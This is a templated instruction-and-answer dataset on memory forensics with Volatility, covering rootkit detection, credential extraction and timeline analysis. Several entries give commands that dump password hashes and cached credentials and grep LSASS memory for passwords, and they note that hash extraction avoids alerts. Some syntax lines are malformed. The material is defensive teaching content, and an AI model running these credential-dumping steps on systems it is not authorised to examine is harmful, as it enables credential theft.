"updated_at": "2025-12-18T00:11:32.036339Z"} +{"id": "trtp-e398d2be2627", "instruction": "What are common tips for Memory Forensics?", "output": "Tips for using Memory Forensics:\n\n- Cross-reference multiple views\n- Check SSDT for inline hooks\n- Look for driver hiding\n\nUseful for: Detect rootkits, Find hidden processes, Identify kernel hooks", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-rootkit-detection-in-memory", "license": "original", "retrieved_at": "2025-12-18T00:11:32.036209Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.036354Z", "updated_at": "2025-12-18T00:11:32.036354Z"} +{"id": "trtp-39026aece9ff", "instruction": "What indicators does Memory Forensics help identify?", "output": "Using Memory Forensics for threat detection:\n\nMemory forensics can detect rootkits by comparing different views of system structures. Processes hidden from pslist but found by psscan indicate DKOM (Direct Kernel Object Manipulation).\n\nExample:\n```\n# Compare process lists\nvol -f memory.dmp windows.pslist > pslist.txt\nvol -f memory.dmp windows.psscan > psscan.txt\n\n# Differences indicate hiding\ndiff pslist.txt psscan.txt\n\n# Check for hooks\nvol -f memory.dmp windows.ssdt\n```\n\nTips:\n- Cross-reference multiple views\n- Check SSDT for inline hooks", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-rootkit-detection-in-memory", "license": "original", "retrieved_at": "2025-12-18T00:11:32.036209Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.036367Z", "updated_at": "2025-12-18T00:11:32.036367Z"} +{"id": "trtp-922f8a7ae245", "instruction": "What artifacts does Memory Forensics analyze?", "output": "Forensic analysis with Memory Forensics:\n\nMemory forensics can detect rootkits by comparing different views of system structures. Processes hidden from pslist but found by psscan indicate DKOM (Direct Kernel Object Manipulation).\n\nForensic applications:\n- Detect rootkits\n- Find hidden processes\n- Identify kernel hooks\n\nWhat to look for: Process in psscan but not pslist = DKOM hiding. SSDT hooks modify system call table.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-rootkit-detection-in-memory", "license": "original", "retrieved_at": "2025-12-18T00:11:32.036209Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.036385Z", "updated_at": "2025-12-18T00:11:32.036385Z"} +{"id": "trtp-733cb9a39098", "instruction": "What is the typical workflow for using Memory Forensics?", "output": "Workflow for Rootkit Detection in Memory:\n\n1. Understand the context: Memory forensics can detect rootkits by comparing different views of system structures. Processes hidden from pslist but found by psscan indicate DKOM (Direct Kernel Object Manipulation).\n\n2. Apply the tool:\n```\n# Compare process lists\nvol -f memory.dmp windows.pslist > pslist.txt\nvol -f memory.dmp windows.psscan > psscan.txt\n\n# Differences indicate hiding\ndiff pslist.txt psscan.txt\n\n# Check for hooks\nvol -f memory.dmp windows.ssdt\n```\n\n3. Common scenarios: Detect rootkits, Find hidden processes, Identify kernel hooks\n\n4. Best practices:\n - Cross-reference multiple views\n - Check SSDT for inline hooks", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-rootkit-detection-in-memory", "license": "original", "retrieved_at": "2025-12-18T00:11:32.036209Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.036400Z", "updated_at": "2025-12-18T00:11:32.036400Z"} +{"id": "trtp-904ad7a488a3", "instruction": "What makes Memory Forensics useful for this task?", "output": "Advantages of Memory Forensics:\n\nMemory forensics can detect rootkits by comparing different views of system structures. Processes hidden from pslist but found by psscan indicate DKOM (Direct Kernel Object Manipulation).\n\nBest suited for:\n- Detect rootkits\n- Find hidden processes\n- Identify kernel hooks\n- Advanced malware analysis\n\nMemory analysis provides unique visibility into running processes and hidden artifacts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-rootkit-detection-in-memory", "license": "original", "retrieved_at": "2025-12-18T00:11:32.036209Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.036425Z", "updated_at": "2025-12-18T00:11:32.036425Z"} +{"id": "trtp-c7f97fb99e74", "instruction": "Can Memory Forensics be combined with other analysis methods?", "output": "Integration points for Memory Forensics:\n\nMemory forensics can detect rootkits by comparing different views of system structures. Processes hidden from pslist but found by psscan indicate DKOM (Direct Kernel Object Manipulation).\n\nIntegration suggestions:\n- Correlate findings with disk forensics\n- Export IOCs for network monitoring\n- Feed malware samples to sandbox analysis\n- Compare with baseline memory images", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-rootkit-detection-in-memory", "license": "original", "retrieved_at": "2025-12-18T00:11:32.036209Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.036439Z", "updated_at": "2025-12-18T00:11:32.036439Z"} +{"id": "trtp-caa46e760950", "instruction": "What do I need to know about Memory Forensics?", "output": "Credential Extraction from Memory\n\nMemory contains credentials including password hashes, Kerberos tickets, and potentially cleartext passwords. Memory forensics can extract these without the need for live credential dumping tools.\n\nPlatform: windows\n\nCommon uses:\n- Extract hashes without live access\n- Find cached credentials\n- Investigate credential theft\n- Post-mortem analysis", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-credential-extraction-from-memory", "license": "original", "retrieved_at": "2025-12-18T00:11:32.036735Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.036778Z", "updated_at": "2025-12-18T00:11:32.036778Z"} +{"id": "trtp-10370828fbaa", "instruction": "What is the syntax for Memory Forensics?", "output": "Syntax for Memory Forensics:\n\nvol -f windows.hashdump\n\nMemory contains credentials including password hashes, Kerberos tickets, and potentially cleartext passwords. Memory forensics can extract these without the need for live credential dumping tools.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-credential-extraction-from-memory", "license": "original", "retrieved_at": "2025-12-18T00:11:32.036735Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.036803Z", "updated_at": "2025-12-18T00:11:32.036803Z"} +{"id": "trtp-466c7c02d95d", "instruction": "Show me an example of Memory Forensics in action.", "output": "Example of Credential Extraction from Memory:\n\n```\n# Extract password hashes\nvol -f memory.dmp windows.hashdump\n\n# Extract cached credentials\nvol -f memory.dmp windows.cachedump\n\n# Look for cleartext in lsass\nvol -f memory.dmp windows.memmap --pid --dump\nstrings lsass.dmp | grep -i password\n```\n\nInterpretation: Hashes can be cracked or used for pass-the-hash. Cleartext may exist in memory.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-credential-extraction-from-memory", "license": "original", "retrieved_at": "2025-12-18T00:11:32.036735Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.036824Z", "updated_at": "2025-12-18T00:11:32.036824Z"} +{"id": "trtp-296a892c4262", "instruction": "Provide an example of using Memory Forensics.", "output": "Here is a practical example of Memory Forensics:\n\n```\n# Extract password hashes\nvol -f memory.dmp windows.hashdump\n\n# Extract cached credentials\nvol -f memory.dmp windows.cachedump\n\n# Look for cleartext in lsass\nvol -f memory.dmp windows.memmap --pid --dump\nstrings lsass.dmp | grep -i password\n```\n\nMemory contains credentials including password hashes, Kerberos tickets, and potentially cleartext passwords. Memory forensics can extract these without the need for live credential dumping tools.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-credential-extraction-from-memory", "license": "original", "retrieved_at": "2025-12-18T00:11:32.036735Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.036834Z", "updated_at": "2025-12-18T00:11:32.036834Z"} +{"id": "trtp-077e18d5aca4", "instruction": "In what scenarios is Memory Forensics useful?", "output": "Use cases for Memory Forensics:\n\n- Extract hashes without live access\n- Find cached credentials\n- Investigate credential theft\n- Post-mortem analysis\n\nMemory contains credentials including password hashes, Kerberos tickets, and potentially cleartext passwords. Memory forensics can extract these without the need for live credential dumping tools.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-credential-extraction-from-memory", "license": "original", "retrieved_at": "2025-12-18T00:11:32.036735Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.036845Z", "updated_at": "2025-12-18T00:11:32.036845Z"} +{"id": "trtp-4605c084979e", "instruction": "How do I interpret Memory Forensics output?", "output": "Interpreting Memory Forensics output:\n\nHashes can be cracked or used for pass-the-hash. Cleartext may exist in memory.\n\nExample output:\n```\n# Extract password hashes\nvol -f memory.dmp windows.hashdump\n\n# Extract cached credentials\nvol -f memory.dmp windows.cachedump\n\n# Look for cleartext in lsass\nvol -f memory.dmp windows.memmap --pid --dump\nstrings lsass.dmp | grep -i password\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-credential-extraction-from-memory", "license": "original", "retrieved_at": "2025-12-18T00:11:32.036735Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.036867Z", "updated_at": "2025-12-18T00:11:32.036867Z"} +{"id": "trtp-5b33391ee68d", "instruction": "What are common tips for Memory Forensics?", "output": "Tips for using Memory Forensics:\n\n- LSASS memory contains credentials\n- Check for WDigest cleartext\n- Hash extraction doesn't trigger alerts\n\nUseful for: Extract hashes without live access, Find cached credentials, Investigate credential theft", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-credential-extraction-from-memory", "license": "original", "retrieved_at": "2025-12-18T00:11:32.036735Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.036883Z", "updated_at": "2025-12-18T00:11:32.036883Z"} +{"id": "trtp-30faa10b217f", "instruction": "How can Memory Forensics help identify malicious activity?", "output": "Using Memory Forensics for threat detection:\n\nMemory contains credentials including password hashes, Kerberos tickets, and potentially cleartext passwords. Memory forensics can extract these without the need for live credential dumping tools.\n\nExample:\n```\n# Extract password hashes\nvol -f memory.dmp windows.hashdump\n\n# Extract cached credentials\nvol -f memory.dmp windows.cachedump\n\n# Look for cleartext in lsass\nvol -f memory.dmp windows.memmap --pid --dump\nstrings lsass.dmp | grep -i password\n```\n\nTips:\n- LSASS memory contains credentials\n- Check for WDigest cleartext", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-credential-extraction-from-memory", "license": "original", "retrieved_at": "2025-12-18T00:11:32.036735Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.036905Z", "updated_at": "2025-12-18T00:11:32.036905Z"} +{"id": "trtp-830529a33323", "instruction": "How do forensic investigators use Memory Forensics?", "output": "Forensic analysis with Memory Forensics:\n\nMemory contains credentials including password hashes, Kerberos tickets, and potentially cleartext passwords. Memory forensics can extract these without the need for live credential dumping tools.\n\nForensic applications:\n- Extract hashes without live access\n- Find cached credentials\n- Investigate credential theft\n\nWhat to look for: Hashes can be cracked or used for pass-the-hash. Cleartext may exist in memory.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-credential-extraction-from-memory", "license": "original", "retrieved_at": "2025-12-18T00:11:32.036735Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.036925Z", "updated_at": "2025-12-18T00:11:32.036925Z"} +{"id": "trtp-fc82a86a2782", "instruction": "How do I incorporate Memory Forensics into my security workflow?", "output": "Workflow for Credential Extraction from Memory:\n\n1. Understand the context: Memory contains credentials including password hashes, Kerberos tickets, and potentially cleartext passwords. Memory forensics can extract these without the need for live credential dumping tools.\n\n2. Apply the tool:\n```\n# Extract password hashes\nvol -f memory.dmp windows.hashdump\n\n# Extract cached credentials\nvol -f memory.dmp windows.cachedump\n\n# Look for cleartext in lsass\nvol -f memory.dmp windows.memmap --pid --dump\nstrings lsass.dmp | grep -i password\n```\n\n3. Common scenarios: Extract hashes without live access, Find cached credentials, Investigate credential theft\n\n4. Best practices:\n - LSASS memory contains credentials\n - Check for WDigest cleartext", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-credential-extraction-from-memory", "license": "original", "retrieved_at": "2025-12-18T00:11:32.036735Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.036939Z", "updated_at": "2025-12-18T00:11:32.036939Z"} +{"id": "trtp-15687de0f5fa", "instruction": "When should I use Memory Forensics versus other similar tools?", "output": "Advantages of Memory Forensics:\n\nMemory contains credentials including password hashes, Kerberos tickets, and potentially cleartext passwords. Memory forensics can extract these without the need for live credential dumping tools.\n\nBest suited for:\n- Extract hashes without live access\n- Find cached credentials\n- Investigate credential theft\n- Post-mortem analysis\n\nMemory analysis provides unique visibility into running processes and hidden artifacts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-credential-extraction-from-memory", "license": "original", "retrieved_at": "2025-12-18T00:11:32.036735Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.036960Z", "updated_at": "2025-12-18T00:11:32.036960Z"} +{"id": "trtp-f8cbd42734a1", "instruction": "How do I use Memory Forensics alongside other tools in my toolkit?", "output": "Integration points for Memory Forensics:\n\nMemory contains credentials including password hashes, Kerberos tickets, and potentially cleartext passwords. Memory forensics can extract these without the need for live credential dumping tools.\n\nIntegration suggestions:\n- Correlate findings with disk forensics\n- Export IOCs for network monitoring\n- Feed malware samples to sandbox analysis\n- Compare with baseline memory images", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-credential-extraction-from-memory", "license": "original", "retrieved_at": "2025-12-18T00:11:32.036735Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.036974Z", "updated_at": "2025-12-18T00:11:32.036974Z"} +{"id": "trtp-365632b628fc", "instruction": "What is Memory Forensics and how is it used in security?", "output": "Timeline Analysis\n\nMemory timeline analysis correlates timestamps from processes, files, network connections, and registry to build a chronological view of system activity during incident.\n\nPlatform: cross-platform\n\nCommon uses:\n- Incident reconstruction\n- Attack timeline\n- Root cause analysis\n- Forensic reporting", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-timeline-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.037293Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.037314Z", "updated_at": "2025-12-18T00:11:32.037314Z"} +{"id": "trtp-8e22f4d60130", "instruction": "What command or query syntax does Memory Forensics use?", "output": "Syntax for Memory Forensics:\n\nvol -f timeliner\n\nMemory timeline analysis correlates timestamps from processes, files, network connections, and registry to build a chronological view of system activity during incident.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-timeline-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.037293Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.037332Z", "updated_at": "2025-12-18T00:11:32.037332Z"} +{"id": "trtp-2843553723e2", "instruction": "Give me a practical example of Memory Forensics.", "output": "Example of Timeline Analysis:\n\n```\n# Generate timeline\nvol -f memory.dmp timeliner --output-file timeline.csv\n\n# Or manually combine:\nvol -f memory.dmp windows.pslist > processes.txt\nvol -f memory.dmp windows.filescan > files.txt\n# Correlate timestamps to build activity timeline\n```\n\nInterpretation: Timeline shows sequence of events - look for anomalies around incident timeframe", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-timeline-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.037293Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.037344Z", "updated_at": "2025-12-18T00:11:32.037344Z"} +{"id": "trtp-7f88f76bd4f5", "instruction": "Show me an example of Memory Forensics in action.", "output": "Here is a practical example of Memory Forensics:\n\n```\n# Generate timeline\nvol -f memory.dmp timeliner --output-file timeline.csv\n\n# Or manually combine:\nvol -f memory.dmp windows.pslist > processes.txt\nvol -f memory.dmp windows.filescan > files.txt\n# Correlate timestamps to build activity timeline\n```\n\nMemory timeline analysis correlates timestamps from processes, files, network connections, and registry to build a chronological view of system activity during incident.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-timeline-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.037293Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.037367Z", "updated_at": "2025-12-18T00:11:32.037367Z"} +{"id": "trtp-56587d1c5ff8", "instruction": "In what scenarios is Memory Forensics useful?", "output": "Use cases for Memory Forensics:\n\n- Incident reconstruction\n- Attack timeline\n- Root cause analysis\n- Forensic reporting\n\nMemory timeline analysis correlates timestamps from processes, files, network connections, and registry to build a chronological view of system activity during incident.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-timeline-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.037293Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.037379Z", "updated_at": "2025-12-18T00:11:32.037379Z"} +{"id": "trtp-b46ba25e554a", "instruction": "How do I read Memory Forensics output?", "output": "Interpreting Memory Forensics output:\n\nTimeline shows sequence of events - look for anomalies around incident timeframe\n\nExample output:\n```\n# Generate timeline\nvol -f memory.dmp timeliner --output-file timeline.csv\n\n# Or manually combine:\nvol -f memory.dmp windows.pslist > processes.txt\nvol -f memory.dmp windows.filescan > files.txt\n# Correlate timestamps to build activity timeline\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-timeline-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.037293Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.037396Z", "updated_at": "2025-12-18T00:11:32.037396Z"} +{"id": "trtp-1f835bf8b192", "instruction": "What best practices should I follow when using Memory Forensics?", "output": "Tips for using Memory Forensics:\n\n- Correlate with event logs\n- Focus on incident timeframe\n- Document findings for report\n\nUseful for: Incident reconstruction, Attack timeline, Root cause analysis", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-timeline-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.037293Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.037408Z", "updated_at": "2025-12-18T00:11:32.037408Z"} +{"id": "trtp-22ba5e1c4b37", "instruction": "How can Memory Forensics help identify malicious activity?", "output": "Using Memory Forensics for threat detection:\n\nMemory timeline analysis correlates timestamps from processes, files, network connections, and registry to build a chronological view of system activity during incident.\n\nExample:\n```\n# Generate timeline\nvol -f memory.dmp timeliner --output-file timeline.csv\n\n# Or manually combine:\nvol -f memory.dmp windows.pslist > processes.txt\nvol -f memory.dmp windows.filescan > files.txt\n# Correlate timestamps to build activity timeline\n```\n\nTips:\n- Correlate with event logs\n- Focus on incident timeframe", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-timeline-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.037293Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.037426Z", "updated_at": "2025-12-18T00:11:32.037426Z"} +{"id": "trtp-7fb8527df5a3", "instruction": "How do forensic investigators use Memory Forensics?", "output": "Forensic analysis with Memory Forensics:\n\nMemory timeline analysis correlates timestamps from processes, files, network connections, and registry to build a chronological view of system activity during incident.\n\nForensic applications:\n- Incident reconstruction\n- Attack timeline\n- Root cause analysis\n\nWhat to look for: Timeline shows sequence of events - look for anomalies around incident timeframe", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-timeline-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.037293Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.037439Z", "updated_at": "2025-12-18T00:11:32.037439Z"} +{"id": "trtp-02e00953a475", "instruction": "What's the process for analyzing data with Memory Forensics?", "output": "Workflow for Timeline Analysis:\n\n1. Understand the context: Memory timeline analysis correlates timestamps from processes, files, network connections, and registry to build a chronological view of system activity during incident.\n\n2. Apply the tool:\n```\n# Generate timeline\nvol -f memory.dmp timeliner --output-file timeline.csv\n\n# Or manually combine:\nvol -f memory.dmp windows.pslist > processes.txt\nvol -f memory.dmp windows.filescan > files.txt\n# Correlate timestamps to build activity timeline\n```\n\n3. Common scenarios: Incident reconstruction, Attack timeline, Root cause analysis\n\n4. Best practices:\n - Correlate with event logs\n - Focus on incident timeframe", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-timeline-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.037293Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.037467Z", "updated_at": "2025-12-18T00:11:32.037467Z"} +{"id": "trtp-3185d4e37248", "instruction": "What makes Memory Forensics useful for this task?", "output": "Advantages of Memory Forensics:\n\nMemory timeline analysis correlates timestamps from processes, files, network connections, and registry to build a chronological view of system activity during incident.\n\nBest suited for:\n- Incident reconstruction\n- Attack timeline\n- Root cause analysis\n- Forensic reporting\n\nMemory analysis provides unique visibility into running processes and hidden artifacts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-timeline-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.037293Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.037508Z", "updated_at": "2025-12-18T00:11:32.037508Z"} +{"id": "trtp-395fbbdf9b82", "instruction": "How does Memory Forensics integrate with other security tools?", "output": "Integration points for Memory Forensics:\n\nMemory timeline analysis correlates timestamps from processes, files, network connections, and registry to build a chronological view of system activity during incident.\n\nIntegration suggestions:\n- Correlate findings with disk forensics\n- Export IOCs for network monitoring\n- Feed malware samples to sandbox analysis\n- Compare with baseline memory images", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-timeline-analysis", "license": "original", "retrieved_at": "2025-12-18T00:11:32.037293Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.037539Z", "updated_at": "2025-12-18T00:11:32.037539Z"} +{"id": "trtp-0d6172a889a6", "instruction": "How do security analysts use Memory Forensics?", "output": "Memory Forensics Workflow\n\nStandard memory forensics workflow: acquire memory, identify OS, list processes, check for injection, analyze network, examine registry, dump suspicious artifacts, correlate findings.\n\nPlatform: cross-platform\n\nCommon uses:\n- Structured analysis\n- Incident response\n- Forensic investigation\n- Training", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-memory-forensics-workflow", "license": "original", "retrieved_at": "2025-12-18T00:11:32.037879Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.037919Z", "updated_at": "2025-12-18T00:11:32.037919Z"} +{"id": "trtp-7462f4744314", "instruction": "What is the syntax for Memory Forensics?", "output": "Syntax for Memory Forensics:\n\nN/A - workflow process\n\nStandard memory forensics workflow: acquire memory, identify OS, list processes, check for injection, analyze network, examine registry, dump suspicious artifacts, correlate findings.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-memory-forensics-workflow", "license": "original", "retrieved_at": "2025-12-18T00:11:32.037879Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.037946Z", "updated_at": "2025-12-18T00:11:32.037946Z"} +{"id": "trtp-7f747f3351cf", "instruction": "How would I use Memory Forensics for Structured analysis?", "output": "Example of Memory Forensics Workflow:\n\n```\n# Standard analysis workflow:\n1. Acquire memory (winpmem, LiME)\n2. Verify image (vol -f memory.dmp banners.Banners)\n3. List processes (windows.pslist, windows.psscan)\n4. Check command lines (windows.cmdline)\n5. Detect injection (windows.malfind)\n6. Analyze network (windows.netscan)\n7. Check registry (windows.registry.printkey)\n8. Dump artifacts (windows.dumpfiles)\n9. Correlate and report findings\n```\n\nInterpretation: Each step builds on previous - document findings throughout", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-memory-forensics-workflow", "license": "original", "retrieved_at": "2025-12-18T00:11:32.037879Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.037973Z", "updated_at": "2025-12-18T00:11:32.037973Z"} +{"id": "trtp-090cc4b58199", "instruction": "Give me a practical example of Memory Forensics.", "output": "Here is a practical example of Memory Forensics:\n\n```\n# Standard analysis workflow:\n1. Acquire memory (winpmem, LiME)\n2. Verify image (vol -f memory.dmp banners.Banners)\n3. List processes (windows.pslist, windows.psscan)\n4. Check command lines (windows.cmdline)\n5. Detect injection (windows.malfind)\n6. Analyze network (windows.netscan)\n7. Check registry (windows.registry.printkey)\n8. Dump artifacts (windows.dumpfiles)\n9. Correlate and report findings\n```\n\nStandard memory forensics workflow: acquire memory, identify OS, list processes, check for injection, analyze network, examine registry, dump suspicious artifacts, correlate findings.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-memory-forensics-workflow", "license": "original", "retrieved_at": "2025-12-18T00:11:32.037879Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.037983Z", "updated_at": "2025-12-18T00:11:32.037983Z"} +{"id": "trtp-3c1e15aebf66", "instruction": "When should I use Memory Forensics?", "output": "Use cases for Memory Forensics:\n\n- Structured analysis\n- Incident response\n- Forensic investigation\n- Training\n\nStandard memory forensics workflow: acquire memory, identify OS, list processes, check for injection, analyze network, examine registry, dump suspicious artifacts, correlate findings.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-memory-forensics-workflow", "license": "original", "retrieved_at": "2025-12-18T00:11:32.037879Z", "transform_template": "use_cases_v1", "transform_version": 